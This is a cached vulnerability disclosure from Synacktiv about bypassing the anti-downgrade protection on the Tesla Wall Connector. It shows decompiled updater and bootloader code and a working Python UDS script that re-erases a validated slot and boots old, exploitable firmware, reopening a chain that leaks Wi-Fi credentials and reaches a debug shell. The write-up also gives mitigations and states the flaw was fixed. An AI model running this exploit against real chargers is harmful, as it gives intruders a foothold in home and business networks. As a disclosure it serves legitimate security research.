Cached at:
05/14/26, 09:27 PM
# Exploiting the Tesla Wall Connector from its charge port connector -
Source: [https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2-bypassing](https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2-bypassing)
## A quick recap of the update procedure
We described the full update flow over Single\-Wire CAN in the[first article](https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector)\. In short:
1. Open a UDS session \(type`2`\)\.
2. Authenticate with Security Access \(level`5`, XOR\-`0x35`algorithm\)\.
3. Run routine`0xFF00`to prepare and erase the passive slot\.
4. Write`0x0E`to identifier`0x102`to mark the slot as “settable via UDS”\.
5. Push the firmware with`Request Download`/`Transfer Data`/`Request Transfer Exit`\.
6. Run routine`0x201`to validate the freshly written image and switch slots\.
7. Run routine`0x202`to reboot\.
As a reminder, the AW\-CU300 uses two firmware slots: one**active**\(currently running\) and one**passive**\(target of the update\)\. After a successful update, slots flip and the new firmware becomes active on next boot\.
## What changed in 24\.44\.3
After diffing the old firmware against version`24\.44\.3`, we focused on`switch\_to\_new\_firmware\(\)`, the function that handles UDS routine`0x201`:
```
int switch_to_new_firmware()
{
...
if ( settable_via_uds != 14 || !passive_firmware )
return 1;
if ( passive <= 0
|| passive > passive_firmware->size
|| (v2 = check_signature(passive_firmware->start, passive)) != 0
|| !check_image_and_antidowngrade(nullptr) )
{
part_erase(flash_drv, passive_firmware->start, 0x14u);
v2 = 4;
}
else
{
part_write_layout(passive_firmware);
}
flash_drv_close(flash_drv);
passive_firmware = nullptr;
return v2;
}
```
`check\_image\_and\_antidowngrade\(\)`is new\. It parses the firmware segments, recomputes their CRCs, then calls`verify\_firmware\_segments\_platform\(\)`for the ratchet comparison:
```
int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...)
{
...
// Walk the segments looking for the version descriptor in the
// segment that ends in the [0x100000 .. 0x100010] window.
...
if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ )
goto next_segment;
major = LOBYTE(buffer.ip_addr.addr);
minor = BYTE1(buffer.ip_addr.addr);
if ( buffer.netmask.addr == '2SRV' /* "VRS2" */
&& LOBYTE(buffer.gw.addr) > 1u )
firmware_ratchet = BYTE2(buffer.gw.addr);
else
firmware_ratchet = 0;
...
sub_1F04866C(¤t_ratchet); // read ratchet from PSM (persistent storage)
if ( current_ratchet <= firmware_ratchet
|| !call_psm_wrapper(...) )
{
return 0; // accepted
}
log("Failure: Security ratchet downgrade prevented %d < %d",
firmware_ratchet, current_ratchet);
return -1;
}
```
Version information is embedded in firmware segments \(`VRSN`for the version,`VRS2`for the ratchet\), in the segment that loads near`0x100000`\. Only the updater parses this, not the bootloader\. On the device side, the ratchet lives in PSM \(Persistent Storage Manager\) and gets incremented when a higher\-ratchet image is activated\.
So on a`24\.44\.3`device, sending the old`0\.8\.58`firmware and calling routine`0x201`terminates with:
```
ERROR verify_firmware_segments_platform:145
Failure: Security ratchet downgrade prevented 0 < N
```
And the slot gets immediately erased\. There is no way to keep an old image in flash through the official path\.
## The bootloader doesn't care
`boot2`, as it is called in the build artifacts, sits in flash at a fixed address and is**not**part of any firmware update shipped by Tesla\. We had to dump the flash from a charger we previously rooted via the original Pwn2Own exploit to analyze it\.
It does perform several checks on the active firmware before jumping to it:
- Magic header \(`SBFH`\)\.
- Per\-segment CRC32\.
- RSA signature against a key from the keystore\.
But it has**no notion of a security ratchet**\. Any firmware image with a valid signature and correct CRC will execute, regardless of its version\. Neither`boot2`nor the bootrom implement secure boot\. So the anti\-downgrade is enforced exclusively by one piece of code,`switch\_to\_new\_firmware\(\)`, at one moment: when routine`0x201`is called\.
So: can we get an old, signed firmware into the**active**slot without ever calling routine`0x201`on it?
## How a slot becomes active
Routine`0xFF00`calls`prepare\_passive\_slot\(\)`, which selects which physical slot is "passive" based on the current boot flags, then erases it:
```
int prepare_passive_slot(int a1, int a2, int a3)
{
partition_entry *f1, *f2;
int16_t v7 = 0;
if ( part_read_layout(a1, a2, a3)
|| (f1 = part_get_layout_by_id(1, &v7),
f2 = part_get_layout_by_id(1, &v7),
!f1)
|| !f2 )
{
passive_firmware = nullptr;
__und(0xFFu);
}
if ( (g_boot_flags & 3) != 0 ) // we booted from slot 1?
f2 = f1; // then passive is slot 0
passive_firmware = f2;
...
if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )
...
return 0;
}
```
`part\_get\_layout\_by\_id\(\)`is iterator\-based: first call returns the first partition entry with id 1, second call returns the next one\. Depending on`g\_boot\_flags`, one or the other becomes passive\.
Here is what matters:`g\_boot\_flags`**is set at boot time and never updated**\. It reflects which slot we booted from, not what the partition table currently says\.
`part\_write\_layout\(\)`, which flips slots, does not touch firmware data\. It only rewrites the partition table by bumping a per\-slot generation counter:
```
int part_write_layout(partition_entry *a1)
{
...
if ( /* a1 matches f1 */ )
v3->gen_level = v4->gen_level + 1;
else if ( /* a1 matches f2 */ )
v4->gen_level = v3->gen_level + 1;
else
return -23;
// erase + rewrite the 4KiB partition table area
part_erase(v8, partition_table_addr, 0x1000);
flash_write(v8, &dword_129B7C, 16);
flash_write(v8, byte_1299FC, 24 * word_129B82);
flash_write(v8, &checksum, 4);
...
}
```
On boot, the bootloader picks the slot with the highest`gen\_level`\. So to make a slot active for next boot, you only need`part\_write\_layout\(\)`to succeed once for that slot\. What happens to its content afterwards does not matter\.
## The bypass
To recap: routine`0xFF00`erases the physical passive slot based on`g\_boot\_flags`\(which never changes during a session\), routine`0x201`validates slot contents and writes the partition layout, and the bootloader trusts the partition table without checking the ratchet\.
With that in mind:
1. Send a**valid**, up\-to\-date firmware to the passive slot\. Call routine`0x201`\. Validation passes; the partition layout is written, so this slot now has the highest`gen\_level`\.
2. Without rebooting, call routine`0xFF00`again\. Because`g\_boot\_flags`hasn’t changed, the same physical slot is selected as**passive**, and the firmware we just validated is erased\. The partition table is not touched\.
3. Send an**old**, signed\-but\-vulnerable firmware to the now\-empty slot\.
4. Skip routine`0x201`entirely \(we don't need it, and it would refuse the image\)\. Just call routine`0x202`to reboot\.
On reboot, the bootloader reads the partition table, picks the slot with the highest`gen\_level`\(the one we just rewrote\), validates its signature \(still valid, it is a properly signed firmware\), and jumps in\. The anti\-downgrade check never ran on the old image\.
## Exploit
Our exploit is a small extension of the Pwn2Own car simulator\. Single\-Wire CAN setup, GPIO sequence, UDS plumbing: all unchanged\. Only the update sequence is doubled:
```
with Client(conn, config=uds_config) as client:
client.set_config('security_algo', tesla_uds_algo)
client.change_session(2)
client.unlock_security_access(5)
# 1. Push a valid, up-to-date firmware and let routine 0x201
# write the partition layout for us.
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
send_firmware_data(client, data)
client.routine_control(routine_id=0x201, control_type=1) # writes layout
sleep(1)
# 2. Re-prepare the same physical slot. The valid firmware gets
# erased; the partition table is untouched.
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read()
send_firmware_data(client, data)
sleep(1)
# 3. Reboot. The bootloader will boot the old firmware because
# the partition table still says this slot is the active one.
client.routine_control(routine_id=0x202, control_type=1)
```
Total run time is roughly 30 minutes on the 33\.3 kbps SWCAN bus: twice the original Pwn2Own timing, since two full firmware images have to be sent over the cable\. After reboot, version`0\.8\.58`is back in charge, and the rest of the original chain \(UDS leak of the Wi\-Fi credentials, telnet to the debug shell, buffer overflow in the argument parser\) works exactly as before\.
## Conclusion
Because the anti\-downgrade only lives in the updater and the bootloader does not check the ratchet, any sequence that commits the partition layout then overwrites the slot content bypasses it\. Routine`0xFF00`lets us do exactly that: erase the firmware after the layout has been written, then write whatever we want\.
Enforcing the ratchet in the bootloader would close this gap\. Other options: have routine`0xFF00`invalidate the partition layout entry when erasing a slot, so an erased\-then\-rewritten slot is never picked as bootable\. Or simply force a reboot after a successful update, or reject any new update session once routine`0x201`has succeeded\.
We reported this vulnerability to Tesla and it was fixed in a firmware update several months ago\. As with the first article, the Wall Connector typically sits on a home or business network, and a charger taken over via its charging cable becomes a foothold inside that network\. On the bright side, Tesla's automatic OTA deployment to connected chargers means the fix reaches most devices quickly, reducing the exposure window in practice\.